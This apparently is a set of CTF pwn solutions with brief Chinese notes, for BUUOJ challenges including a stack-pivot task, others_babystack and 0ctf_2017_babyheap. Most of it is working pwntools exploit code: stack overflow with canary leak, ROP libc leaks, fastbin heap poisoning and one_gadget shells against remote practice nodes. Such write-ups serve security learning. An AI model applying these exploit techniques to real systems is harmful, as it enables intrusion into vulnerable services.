from pwn import * from struct import pack context.log_level = 'debug' context(os = 'linux', arch = 'amd64') libc = ELF('CTF_tool/libc-2.23-x64.so') #p = process('1') p = remote('node4.buuoj.cn', 29272) elf = ELF('1') bank_addr = 0x601080 rdi = 0x400703 ret = 0x4004c9 leave = 0x400699 payload = b'a'*96 + p64(bank_addr) + p64(leave) p.sendafter('Welcome to Stack bank,Tell me what you want\n', payload) payload = p64(ret)*20 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main']) p.sendafter('Done!You can check and use your borrow stack now!\n', payload) puts_addr = u64(p.recv(6).ljust(8, b'\x00')) libcbase = puts_addr - libc.symbols['puts'] one_gadget = libcbase + 0x4526a p.sendline(b'a'*104 + p64(one_gadget)) p.interactive()
others_babystack
做了好久,明明很简单的一道题
首先要泄露canary,canary在s下方,如果把s填满,因为没有截断 '\x00' ,那么就能接着泄露canary
1.要用 sendline 发送payload,不然根据泄露不了
2.canary的低字节是 \x00 ,只会泄露出七个字节,对齐的时候要向右对齐(小端序)
from pwn import * from struct import pack context.log_level = 'debug' #context(os = 'linux', arch = 'amd64') libc = ELF('CTF_tool/libc-2.23-x64.so') #p = process('1') p = remote('node4.buuoj.cn', 28174) elf = ELF('1') rdi = 0x400a93 main_addr = 0x400908 payload = b'a'*132 + b'stop' p.sendlineafter('>> ', '1') p.sendline(payload) p.sendlineafter('>> ', '2') p.recvuntil('stop\n') canary = u64(p.recv(7).rjust(8, b'\x00')) payload = b'a'*0x88 + p64(canary) + b'a'*8 + p64(rdi) + p64(elf.got['puts']) payload += p64(elf.plt['puts']) + p64(main_addr) p.sendlineafter('>> ', '1') p.sendline(payload) p.sendlineafter('>> ','3') puts_addr = u64(p.recv(6).ljust(8, b'\x00')) one_gadget = puts_addr - libc.symbols['puts'] + 0x45216 payload = b'a'*0x88 + p64(canary) + b'a'*8 + p64(one_gadget) p.sendlineafter('>> ', '1') p.sendline(payload) p.sendlineafter('>> ','3') p.interactive()
其次,在while循环中,得break后程序才会执行 ret 出覆盖的shellcode
0ctf_2017_babyheap
和之前一道题一模一样,题解见第一页wp
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 25514) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def add(size): p.sendlineafter("Command:", '1') p.sendlineafter("Size:", str(size)) def edit(index, content): p.sendlineafter("Command:", '2') p.sendlineafter("Index:", str(index)) p.sendlineafter("Size:", str(len(content))) p.sendafter("Content:", content) def free(index): p.sendlineafter("Command:", '3') p.sendlineafter("Index:", str(index)) def dump(index): p.sendlineafter("Command:", '4') p.sendlineafter("Index:", str(index)) add(0x10) add(0x10) add(0x10) add(0x10) add(0x80) free(1) free(2) payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) edit(0, payload) payload = p64(0)*3 + p64(0x21) edit(3, payload) add(0x10) # index1 -> chunk2 add(0x10) # index2 -> chunk4 payload = p64(0)*3 + p64(0x91) edit(3, payload) add(0x10) free(4) dump(2) p.recv() main_arena_0x58 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = main_arena_0x58 - 0x3c4b78 print('libcbase => ',hex(libcbase)) add(0x60) free(4) payload = p64(libcbase + 0x3c4aed) edit(2,payload) add(0x60) # index5 -> 4 add(0x60) # index6 -> fake chunk one_gadget = libcbase + 0x4526a payload = b'a'*0x13 + p64(one_gadget) edit(6, payload) add(0x10) p.interactive()